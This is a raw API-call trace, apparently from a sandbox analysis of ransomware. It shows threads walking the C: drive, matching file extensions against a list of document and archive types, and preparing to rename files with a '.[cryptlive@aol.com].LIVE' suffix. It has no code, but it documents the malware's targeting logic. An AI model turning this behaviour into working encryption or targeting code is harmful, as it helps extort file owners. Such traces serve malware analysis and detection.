lstrlenW (lpString=".1cd") returned 4 [0168.500] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.500] lstrlenW (lpString=".jpg") returned 4 [0168.500] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.500] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.500] lstrlenW (lpString=".doc") returned 4 [0168.500] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.500] lstrlenW (lpString=".docx") returned 5 [0168.500] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0168.500] lstrlenW (lpString=".pdf") returned 4 [0168.500] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.500] lstrlenW (lpString=".xls") returned 4 [0168.500] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.501] lstrlenW (lpString=".xlsx") returned 5 [0168.501] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0168.501] lstrlenW (lpString=".ppt") returned 4 [0168.501] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.501] lstrlenW (lpString=".zip") returned 4 [0168.501] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.501] lstrlenW (lpString=".rar") returned 4 [0168.501] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.501] lstrlenW (lpString=".bz2") returned 4 [0168.501] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.501] lstrlenW (lpString=".7z") returned 3 [0168.501] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.501] lstrlenW (lpString=".dbf") returned 4 [0168.501] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.501] lstrlenW (lpString=".1cd") returned 4 [0168.501] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.501] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0168.501] lstrlenW (lpString=".jpg") returned 4 [0168.501] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.501] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0168.501] lstrlenW (lpString="ipsdan.xml") returned 10 [0168.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.502] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2514) returned 1 [0168.502] CloseHandle (hObject=0x1d4) returned 1 [0168.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0168.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.503] lstrlenW (lpString=".doc") returned 4 [0168.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.503] lstrlenW (lpString=".docx") returned 5 [0168.503] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0168.503] lstrlenW (lpString=".pdf") returned 4 [0168.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.503] lstrlenW (lpString=".xls") returned 4 [0168.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.503] lstrlenW (lpString=".xlsx") returned 5 [0168.503] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0168.503] lstrlenW (lpString=".ppt") returned 4 [0168.503] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.503] lstrlenW (lpString=".zip") returned 4 [0168.503] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.503] lstrlenW (lpString=".rar") returned 4 [0168.503] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.503] lstrlenW (lpString=".bz2") returned 4 [0168.503] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.503] lstrlenW (lpString=".7z") returned 3 [0168.503] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.503] lstrlenW (lpString=".dbf") returned 4 [0168.503] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.503] lstrlenW (lpString=".1cd") returned 4 [0168.503] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.503] lstrlenW (lpString=".jpg") returned 4 [0168.503] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.503] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.504] lstrlenW (lpString=".doc") returned 4 [0168.504] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.504] lstrlenW (lpString=".docx") returned 5 [0168.504] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0168.504] lstrlenW (lpString=".pdf") returned 4 [0168.504] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.504] lstrlenW (lpString=".xls") returned 4 [0168.504] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.504] lstrlenW (lpString=".xlsx") returned 5 [0168.504] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0168.504] lstrlenW (lpString=".ppt") returned 4 [0168.504] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.504] lstrlenW (lpString=".zip") returned 4 [0168.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.504] lstrlenW (lpString=".rar") returned 4 [0168.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.504] lstrlenW (lpString=".bz2") returned 4 [0168.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.504] lstrlenW (lpString=".7z") returned 3 [0168.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.504] lstrlenW (lpString=".dbf") returned 4 [0168.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.504] lstrlenW (lpString=".1cd") returned 4 [0168.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0168.504] lstrlenW (lpString=".jpg") returned 4 [0168.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.505] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0168.505] lstrlenW (lpString="ipsdeu.xml") returned 10 [0168.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.505] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2616) returned 1 [0168.505] CloseHandle (hObject=0x1d4) returned 1 [0168.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0168.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.505] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.506] lstrlenW (lpString=".doc") returned 4 [0168.506] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.506] lstrlenW (lpString=".docx") returned 5 [0168.506] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0168.506] lstrlenW (lpString=".pdf") returned 4 [0168.506] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.506] lstrlenW (lpString=".xls") returned 4 [0168.506] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.506] lstrlenW (lpString=".xlsx") returned 5 [0168.506] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0168.506] lstrlenW (lpString=".ppt") returned 4 [0168.506] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.506] lstrlenW (lpString=".zip") returned 4 [0168.506] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.506] lstrlenW (lpString=".rar") returned 4 [0168.506] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.506] lstrlenW (lpString=".bz2") returned 4 [0168.506] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.506] lstrlenW (lpString=".7z") returned 3 [0168.506] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.506] lstrlenW (lpString=".dbf") returned 4 [0168.506] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.506] lstrlenW (lpString=".1cd") returned 4 [0168.506] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.506] lstrlenW (lpString=".jpg") returned 4 [0168.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.506] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.506] lstrlenW (lpString=".doc") returned 4 [0168.507] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.507] lstrlenW (lpString=".docx") returned 5 [0168.507] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0168.507] lstrlenW (lpString=".pdf") returned 4 [0168.507] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.507] lstrlenW (lpString=".xls") returned 4 [0168.507] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.507] lstrlenW (lpString=".xlsx") returned 5 [0168.507] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0168.507] lstrlenW (lpString=".ppt") returned 4 [0168.507] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.507] lstrlenW (lpString=".zip") returned 4 [0168.507] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.507] lstrlenW (lpString=".rar") returned 4 [0168.507] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.507] lstrlenW (lpString=".bz2") returned 4 [0168.507] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.507] lstrlenW (lpString=".7z") returned 3 [0168.507] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0168.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.507] lstrlenW (lpString=".dbf") returned 4 [0168.507] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0168.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.507] lstrlenW (lpString=".1cd") returned 4 [0168.507] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0168.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0168.507] lstrlenW (lpString=".jpg") returned 4 [0168.507] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0168.507] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0168.507] lstrlenW (lpString="ipsen.xml") returned 9 [0168.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0168.508] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2578) returned 1 [0168.508] CloseHandle (hObject=0x1d4) returned 1 [0168.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0168.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0168.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0168.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0168.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0168.508] lstrlenW (lpString=".doc") returned 4 [0168.508] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0168.508] lstrlenW (lpString=".docx") returned 5 [0168.508] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0168.508] lstrlenW (lpString=".pdf") returned 4 [0168.508] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0168.509] lstrlenW (lpString=".xls") returned 4 [0168.509] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0168.509] lstrlenW (lpString=".xlsx") returned 5 [0168.509] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0168.509] lstrlenW (lpString=".ppt") returned 4 [0168.509] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0168.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0168.509] lstrlenW (lpString=".zip") returned 4 [0168.509] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0168.509] lstrlenW (lpString=".rar") returned 4 [0168.509] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0168.509] lstrlenW (lpString=".bz2") returned 4 [0168.509] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0168.509] lstrlenW (lpString=".7z") returned 3 [0168.509] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 Thread: id = 79 os_tid = 0x6d0 [0168.118] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x620ed0 [0168.119] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x630ed8 [0168.119] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de290 [0168.119] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5de508 [0168.119] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de2a8 [0168.119] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x38c0020 [0168.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de2c0 [0168.120] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de2c0, Size=0x20) returned 0x5e3c00 [0168.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de2c0 [0168.120] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de2c0, Size=0x20) returned 0x5e3bd8 [0168.120] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.120] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.120] Wow64DisableWow64FsRedirection (in: OldValue=0x2daff58 | out: OldValue=0x2daff58*=0x0) returned 1 [0168.120] lstrlenW (lpString="kernel32.dll") returned 12 [0168.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3c00 | out: hHeap=0x570000) returned 1 [0168.120] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3bd8 | out: hHeap=0x570000) returned 1 [0168.121] Sleep (dwMilliseconds=0x64) [0168.269] Sleep (dwMilliseconds=0x64) [0168.513] Sleep (dwMilliseconds=0x64) [0168.753] Sleep (dwMilliseconds=0x64) [0169.323] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0169.323] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0169.323] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 80 os_tid = 0x580 [0168.121] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x640ee0 [0168.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10000) returned 0x650ee8 [0168.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de248 [0168.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x5ee868 [0168.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de260 [0168.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100000) returned 0x39d0020 [0168.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de200 [0168.123] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de200, Size=0x20) returned 0x5e3b60 [0168.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5de200 [0168.123] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5de200, Size=0x20) returned 0x5e3c50 [0168.123] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0168.123] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0168.123] Wow64DisableWow64FsRedirection (in: OldValue=0x2eeff58 | out: OldValue=0x2eeff58*=0x0) returned 1 [0168.123] lstrlenW (lpString="kernel32.dll") returned 12 [0168.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3b60 | out: hHeap=0x570000) returned 1 [0168.123] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0168.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e3c50 | out: hHeap=0x570000) returned 1 [0168.123] Sleep (dwMilliseconds=0x64) [0168.269] Sleep (dwMilliseconds=0x64) [0168.513] Sleep (dwMilliseconds=0x64) [0168.753] Sleep (dwMilliseconds=0x64) [0169.326] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0169.327] lstrlenW (lpString="push.png") returned 8 [0169.327] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 81 os_tid = 0x6b0 [0168.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x3ae0048 [0168.124] lstrlenW (lpString="C:") returned 2 [0168.124] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x302fd00 | out: lpFindFileData=0x302fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5e56e8 [0168.124] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0168.124] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0168.124] lstrlenW (lpString="$Recycle.Bin") returned 12 [0168.125] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0168.125] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x3af0050 [0168.125] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0168.125] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x302fa84 | out: lpFindFileData=0x302fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e6aa8 [0168.125] FindNextFileW (in: hFindFile=0x5e6aa8, lpFindFileData=0x302fa84 | out: lpFindFileData=0x302fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.125] FindNextFileW (in: hFindFile=0x5e6aa8, lpFindFileData=0x302fa84 | out: lpFindFileData=0x302fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0168.125] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0168.125] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0168.125] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0168.125] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0168.125] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xfffe) returned 0x3b00058 [0168.126] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0168.126] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x302f808 | out: lpFindFileData=0x302f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e6ae8 [0168.126] FindNextFileW (in: hFindFile=0x5e6ae8, lpFindFileData=0x302f808 | out: lpFindFileData=0x302f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.126] FindNextFileW (in: hFindFile=0x5e6ae8, lpFindFileData=0x302f808 | out: lpFindFileData=0x302f808*(dwFileAttributes=0x26, 